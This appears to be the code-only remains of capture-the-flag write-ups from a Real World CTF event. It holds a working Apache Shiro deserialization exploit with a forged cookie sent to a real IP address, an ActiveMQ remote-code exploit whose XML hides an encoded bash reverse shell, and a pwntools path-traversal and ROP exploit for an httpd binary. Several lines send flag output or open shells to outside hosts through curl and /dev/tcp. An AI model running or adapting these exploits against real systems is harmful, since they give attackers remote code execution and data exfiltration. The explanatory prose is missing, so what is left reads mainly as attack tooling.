docker build . -t rwctf:be-a-framework-hackerdocker run --rm -p 8443:8443 rwctf:be-a-framework-hacker

curl http://requestrepo.com/igr3yxom/ --data $(/readflag)

version: '3.3'services:  nginx:    image: nginx:1.20.1    ports:      - "0.0.0.0:8888:8888"    volumes:        - ./nginx.conf:/etc/nginx/nginx.conf    networks:      - internal_network      - out_network  backend:    build:      context: ./backend      dockerfile: Dockerfile    networks:      - internal_networknetworks:    internal_network:        internal: true        ipam:            driver: default    out_network:        ipam:            driver: default

package org.example;import com.nqzero.permit.Permit;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.beanutils.BeanComparator;import org.objectweb.asm.*;import javax.crypto.BadPaddingException;import javax.crypto.Cipher;import javax.crypto.IllegalBlockSizeException;import javax.crypto.NoSuchPaddingException;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.io.*;import java.lang.reflect.AccessibleObject;import java.lang.reflect.Field;import java.math.BigInteger;import java.net.URLEncoder;import java.security.*;import java.util.Base64;import java.util.PriorityQueue;public class Main {    public static void main(String[ ] args) throws Exception {        String key = "kPH+bIxk5D2deZiIxcaaaA==";        String javaCode = "Object attr = java.lang.Class.forName(\"org.springframework.web.context.request.RequestContextHolder\").getMethod(\"currentRequestAttributes\", new java.lang.Class[ ]{}).invoke(null,null);" +                "Object resp = attr.getClass().getMethod(\"getResponse\", null).invoke(attr, null);" +                "String flag = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(\"/flag\", new java.lang.String[ ]{})));" +                "resp.getClass().getMethod(\"addHeader\", new java.lang.Class[ ]{java.lang.String.class, java.lang.String.class}).invoke(resp, new java.lang.Object[ ]{\"r\", flag});";        Object cbGadget = getCbGadget(javaCode);        byte[ ] cbGadgetBytes = Serialization.serialize(cbGadget);        String s = doShiroEncryption(cbGadgetBytes, key);        System.out.println("Cookie length: " + s.length());        System.out.println("Cookie is: " + s);    }    public static byte[ ] base64Decode(String key) {        return Base64.getDecoder().decode(key);    }    public static String base64Encode(byte[ ] key) {        return Base64.getEncoder().encodeToString(key);    }    public static String urlEncode(String key) throws UnsupportedEncodingException {        return URLEncoder.encode(key, "UTF-8");    }    public static String doShiroEncryption(byte[ ] content, String keyInBase64) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {        byte[ ] key = base64Decode(keyInBase64);        byte[ ] iv = generateRandomIv();        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");        Key keySpec = new SecretKeySpec(key, "AES");        IvParameterSpec ivSpec = new IvParameterSpec(iv);        cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);        byte[ ] encrypted = cipher.doFinal(content);        byte[ ] cipherText = new byte[iv.length + encrypted.length];        System.arraycopy(iv, 0, cipherText, 0, iv.length);        System.arraycopy(encrypted, 0, cipherText, iv.length, encrypted.length);        return base64Encode(cipherText);    }    private static byte[ ] generateRandomIv() throws NoSuchAlgorithmException {        byte[ ] iv = new byte[16];        SecureRandom random = SecureRandom.getInstance("SHA1PRNG");        random.nextBytes(iv);        return iv;    }    public static Object getCbGadget(String javaCode) throws Exception {        final Object templates = Gadgets.createTemplatesImpl(javaCode);        // mock method name until armed        final BeanComparator comparator = new BeanComparator("lowestSetBit");        // create queue with numbers and basic comparator        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);        // stub data for replacement later        queue.add(new BigInteger("1"));        queue.add(new BigInteger("1"));        // switch method called by comparator        Reflections.setFieldValue(comparator, "property", "outputProperties");        // switch contents of queue        final Object[ ] queueArray = (Object[ ]) Reflections.getFieldValue(queue, "queue");        queueArray[0] = templates;        queueArray[1] = templates;        return queue;    }    public static class Serialization {        public static byte[ ] serialize(Object obj) throws IOException {            final ByteArrayOutputStream out = new ByteArrayOutputStream();            serialize(obj, out);            return out.toByteArray();        }        public static void serialize(Object obj, OutputStream out) throws IOException {            final ObjectOutputStream objOut = new ObjectOutputStream(out);            objOut.writeObject(obj);        }    }    public static class Gadgets {        public static Object createTemplatesImpl(final String command) throws Exception {            if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {                return createTemplatesImpl(                        command,                        Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),                        Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),                        Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));            }            return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);        }        public static <T> T createTemplatesImpl(final String javaCode, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)                throws Exception {            final T templates = tplClass.newInstance();            ClassPool pool = ClassPool.getDefault();            pool.insertClassPath(new ClassClassPath(abstTranslet));            final CtClass clazz = pool.makeClass("StubTransletPayload");            clazz.makeClassInitializer().insertAfter(javaCode);            clazz.setName("ysoserial.Pwner" + System.nanoTime());            CtClass superC = pool.get(abstTranslet.getName());            clazz.setSuperclass(superC);            byte[ ] classBytes = clazz.toBytecode();            // inject class bytes into instance            classBytes = shortenClassBytes(classBytes);            byte[ ] fooBytes = shortenClassBytes(ClassFiles.classAsBytes(Foo.class));            Reflections.setFieldValue(templates, "_bytecodes", new byte[ ][ ]{                    classBytes, ClassFiles.classAsBytes(Foo.class)            });            // required to make TemplatesImpl happy            Reflections.setFieldValue(templates, "_name", "1");            Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());            return templates;        }    }    public static class ClassFiles {        public static String classAsFile(final Class<?> clazz) {            return classAsFile(clazz, true);        }        public static String classAsFile(final Class<?> clazz, boolean suffix) {            String str;            if (clazz.getEnclosingClass() == null) {                str = clazz.getName().replace(".", "/");            } else {                str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();            }            if (suffix) {                str += ".class";            }            return str;        }        public static byte[ ] classAsBytes(final Class<?> clazz) {            try {                final byte[ ] buffer = new byte[1024];                final String file = classAsFile(clazz);                final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);                if (in == null) {                    throw new IOException("couldn't find '" + file + "'");                }                final ByteArrayOutputStream out = new ByteArrayOutputStream();                int len;                while ((len = in.read(buffer)) != -1) {                    out.write(buffer, 0, len);                }                return out.toByteArray();            } catch (IOException e) {                throw new RuntimeException(e);            }        }    }    public static class Foo implements Serializable {        private static final long serialVersionUID = 8207363842866235160L;    }    public static class Reflections {        public static void setAccessible(AccessibleObject member) {            String versionStr = System.getProperty("java.version");            int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);            if (javaVersion < 12) {                // quiet runtime warnings from JDK9+                Permit.setAccessible(member);            } else {                // not possible to quiet runtime warnings anymore...                // see https://bugs.openjdk.java.net/browse/JDK-8210522                // to understand impact on Permit (i.e. it does not work                // anymore with Java >= 12)                member.setAccessible(true);            }        }        public static Field getField(final Class<?> clazz, final String fieldName) {            Field field = null;            try {                field = clazz.getDeclaredField(fieldName);                setAccessible(field);            }            catch (NoSuchFieldException ex) {                if (clazz.getSuperclass() != null)                    field = getField(clazz.getSuperclass(), fieldName);            }            return field;        }        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {            final Field field = getField(obj.getClass(), fieldName);            field.set(obj, value);        }        public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {            final Field field = getField(obj.getClass(), fieldName);            return field.get(obj);        }    }    public static byte[ ] shortenClassBytes(byte[ ] classBytes) {        ClassReader cr = new ClassReader(classBytes);        ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);        int api = Opcodes.ASM7;        ClassVisitor cv = new ShortClassVisitor(api, cw);        int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;        cr.accept(cv, parsingOptions);        byte[ ] out = cw.toByteArray();        return out;    }    public static class ShortClassVisitor extends ClassVisitor {        private final int api;        public ShortClassVisitor(int api, ClassVisitor classVisitor) {            super(api, classVisitor);            this.api = api;        }        @Override        public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[ ] exceptions) {            MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);            return new ShortMethodAdapter(this.api, mv);        }    }    public static class ShortMethodAdapter extends MethodVisitor implements Opcodes {        public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {            super(api, methodVisitor);        }        @Override        public void visitLineNumber(int line, Label start) {            // delete line number        }    }}

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>    <groupId>org.example</groupId>    <artifactId>OldShiroSolution</artifactId>    <version>1.0-SNAPSHOT</version>    <properties>        <maven.compiler.source>8</maven.compiler.source>        <maven.compiler.target>8</maven.compiler.target>        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>    </properties>    <dependencies>        <dependency>            <groupId>org.javassist</groupId>            <artifactId>javassist</artifactId>            <version>3.29.2-GA</version>        </dependency>        <dependency>            <groupId>com.nqzero</groupId>            <artifactId>permit-reflect</artifactId>            <version>0.3</version>        </dependency>        <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.1</version>        </dependency>        <dependency>            <groupId>commons-beanutils</groupId>            <artifactId>commons-beanutils</artifactId>            <version>1.9.2</version>        </dependency>        <dependency>            <groupId>org.ow2.asm</groupId>            <artifactId>asm-tree</artifactId>            <version>7.3.1</version>        </dependency>    </dependencies></project>

GET /doLogin HTTP/1.1Host: 121.40.80.33:8888Cookie: rememberMe_rwctf_2024=80yvrlEEfRPLdxgU4yeH725Z/49+FL6ujzs0hoqI0qez2NsxRjbJxTdeFzIHUQ6I/rhPoRXBbSO2Zy6I4KdM3neKuoDzWIrBHzYVxII9PGlpvPAkEKiYUpL1kVlMz5ek7nE/reu1xwCHL4XTPsyD2zK4y7nap/XHtfGrACSulz/pvNEICUfU5Kw/X60OZoe2V6RnXrV3l6nyhQFztWlOvrk1Fz89Veccq3zZjnAaHqNt7Swc0PEatW9J3U5Qe2jmUI5VLBDJ5HraLBjrypldsahN/w9OX2ATPISmGGMYcLbaFMDCm1mLOU6NRiW/XV0yveEauzxEKADHnCOP44aULhKyqdQ/6fFxeu9K0Flcd/eXftoEGA1pxj276BDweNDBjbjkK/PlYVxn4fB/IcZWgmCy0JVwyvxzOUgT9N+xmxta9+tMVE6RAPCCSuN3r4oBJU+BkyHCVbpDtRUoVEeWyqd3U1qtQVOCblrCbuaquny939hlmc/E5kVLmkOg7grxq2rA3/rHlF9ooDTdyTbqO3nHzHVzcvH53ljwiJkoMojbqiBD+WfQgvw3kcW/vgFPkHDKZe3bGKNvLZI2TdDtDyG2S1YMCPqYkiSYTQ3t86mSRUO3x2xE3LjFyYfOshAQIQf/Pj+FGxdzL6Qkhe0pRrV0/9cr+PZexG40tnl13EIvmeUuOJpv1M3VzOZY74MRN8uO8GOJUp1HgaXn9XVrw8Wa/vieev7zXsyD4oDDsMAyxTIfCEfp5hxA4O2FfWdVT/l9weFziUM0D41I9RmpjOEJme8/uNYKFcxek5ANY2BAA8dulWfU0433DspwBOGxKQGidk4BncYH+JMtHmZDHd66S3iXvLt0Kxmubs/PS5OfDwqXpMNf9b6rdul1tB9rrJYYDo7/OKIKhyDvW1gbz91qkK3kWHdNv5IQckQRpU7Ht4faXF/734GXEjaouB7iZaBDHBwQ/8XVmBCc8pSSJu2HpCbWp5jeyamfy06FIxG91E1cWLE1SCVIb2Ak3a1M243akTpG6xYMGoJmfEhUXYG4g0C6T3lhctTZ8TPgAl5yu00P7250rt91tCpTEB9hrEdigk8gx/kQoSHok66SAS3irxNIDvJQnW92fZapYhm2FhMrfh5fHW7+mLUeEsgf8w+ylGfk73VSu7h22pVuUVtRrYX5wtCpSfi7E6wR7O31+FDdOursNz2wLqXCy8XSi89dQb1TijSQ+pEv4LfiA2/6JQlpIkIOmx5Bn5XGWL560UnpVpqexbEZtdE/Y7SQ9tu+Lmcd3z21RMZEzsYOeTKoYMJyONGd67B7LMYt9wWTHThUEVrqVJXO/dwZDBrARNAYyUj+jnUVUqaERkZPZXz5XxEtmEkXGryARrC+m7gBQ+9B6fXMyJ1trGiKjwP2inquC0Sza4hNjV5D+Zdh7FCroeckl55PxPjfydSoVaaUSqpPyayUoFsFslCH3dZ5FuzXEeRvMRCeb2fjHmLfLDqUyKqZwYMUGYx+YwvP7TuZhmokR0QNyNspa6CqznCBP8vP9GVk5RYbmkBh/nTM5fZzpUCuxdlknWxyDUYW8QBF5E1Z4ehHh4yOmzUqKMIzaEGOqmjLivPBf5S7MuK1Q9Yq8vMLM53q7pEi3ITCWDGQqzlTT0dbQhk4/5wHpUhk18YI9+0A5KUASze9XuqWeuyw0JxZX6zbWnE+OVJdq6fgVnemfItBD4OOs62Fv9Tc+uwANf5jDfEEJSp7V4uqY38J8plZLZlNV2ibOtU5va4clT1Zk2IS6ZjsU7Ex6jYTEMU/G0I1dISU4jpEnXuZgz2xmN1edCXzFCCkf7wwhefsrBkUoZfNFw6CndXpVP5WyomnamYe9/ncDZrThEdcOwZMfjA5PqAPv+v/tGMYaJhA+s2ZAy9kf3UQTxUAbIMmrMqiC7l9OluyplRgpG5goet4PYltftoNjJYiFbzGNKkB6ltSTD/h4x9HjanWOH8q5ehJsbE7gX8zS6msb2jt86vxUFlocNSB+PXBBdlfRFQKoqybiT29+1pONZfqDW0hWG9eun+ndfzGYiJ+GNstUuABn8EECdJVvNPIsy3R4/dgEH9gO2T+/0nk2opYX8Gs0eilW2DSTwo+XO7TWgS8JG+v05yu1XkwU/ZanDeWqTNx5P3h52GXqv9xrHM8FVGOhkU/+r53R8yWAmiYgYhdNrqj7A5h/YUZauCMeXFrUNYXGort7rDW8j+JOT9eEIwya4lnSz2P+xMmZ7wXQ9SnDdKMNZN6JX+p2htGCblPVz0jp+pyM7+jBH4cj3V7xOf3sswAyTnC9Pt4DozoIyvog/WjD8H4Z2HnE0Uxcqdi30KF7vY1RNrNvEks5e4LDvq3AVy8Goioo1IaDEWfhqhiurIZSSgsqsrcpPPjaasq8AHNFq+csQZOAeXiMOXBtkrZDiLlUCZyPvOmA6a3GbuRrfp6qO9qGxLIf6ZDQU8UiHE1RAhiX/CIcgr5XbCHjNoU60H85+VZS6s5XhaSdb09ZQ9yYbK03juFZl7UckZilhCnnR2I/WeNVIUrSOtOAPFZ58lqQSfVuqkhSjOwb85TkMIu2TG18dUxeIGxg4KN+boL4h1S68LS1VZdxCOf+JDrrZJDqKhoD7wIOfLhiIH0EWA7F+fY8Y2IvJ+JQOYqZrYF053VpFgrZXspeVE2NcMZ3USlWjgfMR0mNs5nea8vy19XkrfrMcRt6K4Za5oj00gYDZtJeVG6MIY0ftVK6MSC437SBL3DiYr3SWmXDgRwu1XVNxg9PRaRgTDcSbsLuBwNDjWfq7vM+54Tod1swBC0Upgrade-Insecure-Requests: 1

version: '3.3'services:  activemq:    container_name: activemq    ports:      - '61616:61616'    image: lewinc/activemq:5.18.2

package exps;import java.io.*;import java.net.Socket;public class ActiveMqThrowableExp {    public static void main(String[ ] args) throws IOException {        String ip = "target-ip-address";        int port = 61616;        String remoteXmlUrl = "http://your-http-server:9999/evil.xml";        Socket sck = new Socket(ip, port);        DataOutputStream out = null;        DataInputStream in = null;        out = new DataOutputStream(new BufferedOutputStream(new FileOutputStream("test.txt")));        out.writeInt(32);        out.writeByte(31);        out.writeInt(1);        out.writeBoolean(true);        out.writeInt(1);        out.writeBoolean(true);        out.writeBoolean(true);        out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");        out.writeBoolean(true);        out.writeUTF(remoteXmlUrl);        out.close();        in = new DataInputStream(new BufferedInputStream(new FileInputStream("test.txt")));        OutputStream os = sck.getOutputStream();        int length = in.available();        byte[ ] buf = new byte[length];        in.readFully(buf);        os.write(buf);        in.close();        sck.close();        File file = new File("test.txt");        file.delete();    }}

<?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">    <constructor-arg>      <list>        <value>/bin/bash</value>        <value>-c</value>        <value>&#x2f;&#x62;&#x69;&#x6e;&#x2f;&#x62;&#x61;&#x73;&#x68;&#x20;&#x2d;&#x69;&#x20;&#x3e;&#x26;&#x20;&#x2f;&#x64;&#x65;&#x76;&#x2f;&#x74;&#x63;&#x70;&#x2f;&#x6c;&#x6f;&#x63;&#x61;&#x6c;&#x68;&#x6f;&#x73;&#x74;&#x2f;&#x39;&#x39;&#x39;&#x39;&#x20;&#x30;&#x3e;&#x26;&#x31;          </value>      </list>    </constructor-arg>  </bean></beans>

  len = strlen(s2);    if ( len )    {      v7 = 0;      v10 = support_command_list[0];      while ( strncmp(v10, s2, len) )      {        v10 = support_command_list[++v7];        if ( !support_command_list[v7] )        {          strcpy(a2, "Not Support 4. \n");          return __readfsqword(0x28u) ^ v23;        }      }

// https://github.com/bnlf/httpd/blob/master/src/httpd.c#L69    strcpy(fileBuffer, WWW_ROOT);    // Arquivo do request  if(req.uri) {    strcat(fileBuffer, req.uri);    }  // Se terminado em /, abre o arquivo padrao  if(strcmp(&fileBuffer[strlen(fileBuffer)-1], "/") == 0) {    strcat(fileBuffer,"index.html");  }  // Verifica se arquivo existe no servidor  if(stat(fileBuffer, &st) == -1) {    res.status = 404; // File not Found    res.fileName = "404.html";  } else {    res.status = 200; // ok    res.fileName = fileBuffer;  }

// https://github.com/bnlf/httpd/blob/master/src/httpd.c#L183    char buffer[MAXLINE];  //Prepara cabecalho HTML  sprintf(buffer, "<html><head><title>Submitted Form</title></head>");  //Cria body  strcat(buffer, "<body><h1>Received variables</h1><br><table>");  strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>");    char * pch;    char temp[250];  pch = strtok (linePost,"&=");  while (pch != NULL)  {    sprintf(temp, "<tr><td>%s</td>", pch);    strcat(buffer, temp);    pch = strtok (NULL, "&=");    sprintf(temp, "<td>%s</td></tr>", pch);    strcat(buffer, temp);    pch = strtok (NULL, "&=");  }

#!/usr/bin/env python3from pwn import *import syscontext.arch = "i386"context.log_level = "debug"elf = ELF("./httpd", checksec = False)libc = ELF("./libc.so.6", checksec=False)# libc = elf.libchost = "127.0.0.1"#port = 39188port = int(sys.argv[1])def retrieve_file(path):    payload = f'''GET /../../../../../../../../../../../..{path} HTTP/1.1\r\n\r\n'''    io = remote(host, port)    io.send(payload.lstrip().encode("latin-1"))    cont = io.recv()    if b'HTTP/1.1 200 OK\r\n' in cont:        cont = io.recv()    io.close()    return contdef leak():    for pid in range(0, 200):        elf_path = b"/home/httpd"        libc_path = b"usr/lib/i386-linux-gnu/libc.so.6"        file = f"/proc/{pid}/maps"        cont = retrieve_file(file)        # print(cont)        try:            maps = cont.split(b"\r\n\r\n")[1]            # print(maps)            # breakpoint()            if elf_path in maps:                # print("find {}".format(pid))                heap = 0                stack = 0                for line in maps.split(b"\n"):                    address_range, permissions, offset, device, inode, mapped_file = line.split()[:6] if len(line.split()) >= 6 else (b"", b"", b"", b"", b"", b"")                    if heap == 0 and b"[heap]" in mapped_file:                        heap = int(address_range.split(b"-")[0], 16)                        print("heap @ {:#x}".format(heap))                        continue                    if stack == 0 and b"[stack]" in mapped_file:                        stack = int(address_range.split(b"-")[0], 16)                        print("stack @ {:#x}".format(stack))                        continue                    if elf.address == 0 and elf_path in mapped_file:                        elf.address = int(address_range.split(b"-")[0], 16)                        # breakpoint()                        print("elf @ {:#x}".format(elf.address))                        continue                    if libc.address == 0 and libc_path in mapped_file:                        libc.address = int(address_range.split(b"-")[0], 16)                        print("libc  @ {:#x}".format(libc.address))                        # breakpoint()                        continue                    if (heap & stack & elf.address & libc.address) != 0:                        return (heap, stack)        except:            print("error")            continue    else:        print("not found")        exit(-1)def overflow(addrs):    heap, stack = addrs    io = remote(host, port)    # 0x30 + 0x2c + 0x2a = 0x86    # 0xf: '<tr><td>\nk</td>'    # 0xf: '<td>v</td></tr>'    # 0xe: '<tr><td>k</td>'    # 0xf: '<td>v</td></tr>'    padding =  b"k=v&" * 0x88 # 0x88 * (0xe + 0xf) + 1 + 0x86 = 0xfef    padding += b"p=" # 0xfef + 0xe("<tr><td>p</td>") + 0x4("<td>") = 0x1001    '''-00001028 buffer db 4096 dup(?)-00000028 res_1 response ?-0000001C var_1C dd ?-00000018 req_1 request ?-0000000C var_C db 12 dup(?)+00000000  s db 4 dup(?)+00000004  r db 4 dup(?)+00000008 arg_0 request ?+00000014 arg_C response ?+00000020 connfd dd ?+00000024 linePost dd ?    '''    '''/*** Estrutura da resposta.* @status: id do status de retorno* @vProtocol: Versao do protocolo HTTP* @fileName: Nome do arquivo em disco da requisicao*/typedef struct {  int status;  char *vProtocol;  char *fileName;} response;    '''    payload =  b'111' # res.status    payload += flat(elf.address + 0x306b) # res.vProtocol    payload += flat(stack + 0x1c29c) # res.fileName    payload += b'aaaa' # padding    '''/*** Estrutura da requisição.* @method: Tipo de requisicao (GET/POST)* @uri: Endereco para arquivo no servidor* @vProtocol: Versao do protocolo HTTP*/typedef struct {  char *method;  char *uri;  char *vProtocol;} request;    '''    payload += flat(elf.address + 0x3008) # req.method    payload += flat(stack + 0x191fc) # req.uri    payload += flat(elf.address + 0x305c) # req.vProtocol    payload += b'bbbbbbbbbbbb' # padding    payload += b'cccc' # ebp    # ropchain = flat(0xdeadbeef)    # ropchain += cyclic(0x20)    ropchain = flat([        libc.sym["system"],        0x12345678,        #stack + stack_offset,        #stack + 0x1c4e8,        #heap + 0x81a        heap + 0x141a        #0x57c7381a    ])    # cmd = b"""perl -MIO::Socket::INET -e '$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:54321");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;';#"""    # https://gchq.github.io/CyberChef/#recipe=To_Hex('%5C%5Cx',0)&input=YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY%2BL2Rldi90Y3AvMTI3LjAuMC4xLzU0MzIxIDwmMSc    # cmd = br"""echo -e 'bash -c "exec bash -i \x26>/dev/tcp/127.0.0.1/54321 <\x261"' > /tmp/1;sh /tmp/1;#"""    # cmd = br"""printf '/bin/bash -c "exec bash -i \x26>/dev/tcp/123.57.212.189/54321 <\x261"' > /tmp/1;sh /tmp/1;#"""    cmd = br"""printf '/bin/bash -c "exec /readflag > /dev/tcp/123.57.212.189/54321 "' > /tmp/1;sh /tmp/1;#"""    # cmd = b"""id > /tmp/123;#"""    payload += ropchain # ret addr    payload += cmd    assert b"\n" not in ropchain    assert len(payload) < 250 - 14    raw_payload = padding + payload    buffer =  b"POST /index.html HTTP/1.1\r\n"    buffer += b"\r\n"    # buffer =  buffer.ljust(0x1000, b'a')    buffer += raw_payload    buffer += b"\r\n"    buffer += raw_payload # last line    #print(hexdump(buffer))    assert len(buffer) <= 0x1000    assert b'\x00' not in payload    io.send(buffer)    sleep(0.01)    # options = b"x" * 0x1000    # io.send(options)addrs = leak()# print(retrieve_file("/proc/39/maps"))# pause()overflow(addrs)#for stack_offset in range(0x10000, 0x20000):#    try:#        overflow(addrs, stack_offset)#    except Exception as e:#        pass

awk 'BEGIN {system(\"/bin/sh\")}'export PATH=/usr/bin:/bin:/usr/local/bin/